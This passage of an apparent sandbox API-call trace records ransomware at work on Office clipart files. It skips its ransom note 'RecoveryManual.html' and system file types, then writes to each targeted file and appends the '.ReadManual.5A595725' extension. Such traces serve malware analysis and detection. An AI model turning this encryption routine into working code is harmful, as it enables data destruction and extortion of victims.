dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400c, lpName=0x0) returned 0x184 [0262.852] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.852] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.852] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.854] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.855] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400c) returned 0x2f0000 [0262.855] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.855] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38352374489) returned 1 [0262.855] CloseHandle (hObject=0x184) returned 1 [0262.855] SetSecurityInfo () returned 0x57 [0262.855] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.855] CloseHandle (hObject=0x194) returned 1 [0262.855] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86d2a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa86d2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1 [0262.855] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00428_.WMF" | out: lpString1="FD00428_.WMF") returned="FD00428_.WMF" [0262.855] lstrcmpiW (lpString1="FD00428_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.855] StrStrIW (lpFirst="FD00428_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.855] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.855] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.856] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.856] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" [0262.856] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.ReadManual.5A595725" [0262.856] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.ReadManual.5A595725") returned 87 [0262.856] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38352472073) returned 1 [0262.856] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0262.856] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.856] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4796) returned 1 [0262.856] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12bc, lpName=0x0) returned 0x184 [0262.857] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.857] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.857] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.859] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.859] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12bc) returned 0x2f0000 [0262.859] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.859] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38352814100) returned 1 [0262.859] CloseHandle (hObject=0x184) returned 1 [0262.859] SetSecurityInfo () returned 0x57 [0262.860] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.860] CloseHandle (hObject=0x194) returned 1 [0262.860] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73bfd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa73bfd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1 [0262.860] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00435_.WMF" | out: lpString1="FD00435_.WMF") returned="FD00435_.WMF" [0262.860] lstrcmpiW (lpString1="FD00435_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.860] StrStrIW (lpFirst="FD00435_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.860] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.860] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.860] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" [0262.860] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.ReadManual.5A595725" [0262.860] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF.ReadManual.5A595725") returned 87 [0262.860] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38352910171) returned 1 [0262.860] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x20 [0262.861] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.861] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2108) returned 1 [0262.861] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83c, lpName=0x0) returned 0x184 [0262.862] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.862] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.862] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.864] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.864] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83c) returned 0x2f0000 [0262.864] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.864] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38353318414) returned 1 [0262.864] CloseHandle (hObject=0x184) returned 1 [0262.865] SetSecurityInfo () returned 0x57 [0262.865] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.865] CloseHandle (hObject=0x194) returned 1 [0262.865] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60ad000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa60ad000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1 [0262.865] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00438_.WMF" | out: lpString1="FD00438_.WMF") returned="FD00438_.WMF" [0262.865] lstrcmpiW (lpString1="FD00438_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.865] StrStrIW (lpFirst="FD00438_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.865] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.865] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.865] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" [0262.865] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.ReadManual.5A595725" [0262.865] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.ReadManual.5A595725") returned 87 [0262.865] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38353419557) returned 1 [0262.865] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0262.866] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.866] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5098) returned 1 [0262.866] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13ea, lpName=0x0) returned 0x184 [0262.866] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.867] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.867] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.868] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.869] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13ea) returned 0x2f0000 [0262.869] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.869] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38353765919) returned 1 [0262.869] CloseHandle (hObject=0x184) returned 1 [0262.869] SetSecurityInfo () returned 0x57 [0262.869] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.869] CloseHandle (hObject=0x194) returned 1 [0262.869] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4d9a300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4d9a300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1 [0262.869] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00455_.WMF" | out: lpString1="FD00455_.WMF") returned="FD00455_.WMF" [0262.869] lstrcmpiW (lpString1="FD00455_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.869] StrStrIW (lpFirst="FD00455_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.869] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.869] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.869] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.869] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.869] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.869] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.870] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.870] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" [0262.870] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.ReadManual.5A595725" [0262.870] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.ReadManual.5A595725") returned 87 [0262.870] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38353863926) returned 1 [0262.870] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0262.870] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.870] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8926) returned 1 [0262.870] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22de, lpName=0x0) returned 0x184 [0262.870] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.871] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.871] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.873] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.873] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22de) returned 0x2f0000 [0262.873] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.873] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38354203989) returned 1 [0262.873] CloseHandle (hObject=0x184) returned 1 [0262.873] SetSecurityInfo () returned 0x57 [0262.873] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.874] CloseHandle (hObject=0x194) returned 1 [0262.874] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a87600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3a87600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1 [0262.874] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD00459_.WMF" | out: lpString1="FD00459_.WMF") returned="FD00459_.WMF" [0262.874] lstrcmpiW (lpString1="FD00459_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.874] StrStrIW (lpFirst="FD00459_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.874] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.874] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.874] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" [0262.874] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.ReadManual.5A595725" [0262.874] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.ReadManual.5A595725") returned 87 [0262.874] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38354302751) returned 1 [0262.874] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0262.875] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.875] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17406) returned 1 [0262.875] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43fe, lpName=0x0) returned 0x184 [0262.875] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.876] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.876] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.878] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.878] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43fe) returned 0x2f0000 [0262.878] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.878] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38354695026) returned 1 [0262.878] CloseHandle (hObject=0x184) returned 1 [0262.878] SetSecurityInfo () returned 0x57 [0262.878] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.878] CloseHandle (hObject=0x194) returned 1 [0262.878] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: 